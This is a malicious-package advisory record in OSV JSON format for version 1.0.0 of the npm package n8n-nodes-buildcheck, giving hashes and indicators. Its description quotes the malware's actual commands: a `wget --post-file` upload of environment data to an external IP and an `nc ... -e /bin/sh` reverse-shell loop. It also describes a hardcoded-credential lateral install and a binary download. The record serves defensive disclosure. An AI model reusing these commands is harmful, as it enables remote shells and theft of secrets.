{"id":"MAL-2026-16177","summary":"Malicious code in n8n-nodes-buildcheck (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc)\nOn npm install, postinstall.js collects the full environment, `id`, `hostname`, and `/proc/1/cgroup`/`status` into `/tmp/.be` and uploads it via `wget --post-file` to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs `nc 121.127.33.228 443 -e /bin/sh` with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes `/rest/nodes/community/install` with `verify:false` to install a sibling package `n8n-nodes-sysdiag2`, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into `/tmp/.mn2`, chmods it executable, and launches it detached.\n","modified":"2026-09-15T16:31:25.243020126Z","published":"2026-09-15T15:53:20Z","database_specific":{"malicious-packages-origins":[{"sha256":"65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-020050","import_time":"2026-09-15T16:19:14.271998295Z","modified_time":"2026-09-15T15:53:20Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/n8n-nodes-buildcheck/v/1.0.0"}],"affected":[{"package":{"name":"n8n-nodes-buildcheck","ecosystem":"npm","purl":"pkg:npm/n8n-nodes-buildcheck"},"versions":["1.0.0"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"package_integrity":[{"filename":"n8n-nodes-buildcheck-1.0.0.tgz","hashes":{"sha512_sri":"sha512-EgoXMliM+pH7HoKR/rcWoNZeUeP/7Y1JgH00WnIFNgxxzwfghTa5hxISyTw3Xh01jCiNbp1FB4DIoOoPgrXiHw==","sha1":"1187dd96a3738e829292a774e610b034ccb8ba37"}}],"evidence_files":[{"tlsh":"2b31c6b47e4544656b89aeb8384e91164e0b980275438df0d4de2def58cf2cef22d8e0","path":"postinstall.js","sha256":"b7b332857fc57f8b67de49330068e4bba420ec507f9ca946a4189f5ce37d2629"},{"path":"dist/SysDiag.node.js","sha256":"ac8bff6109bfb7d77256011f6181f53d9cda5d00dcc3351eaf457155b42ed472","tlsh":"59f07df0bdbcd5522045c8a47b58914624abc7239839f862758e56291f0e50ce7b2bf4"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/n8n-nodes-buildcheck/MAL-2026-16177.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}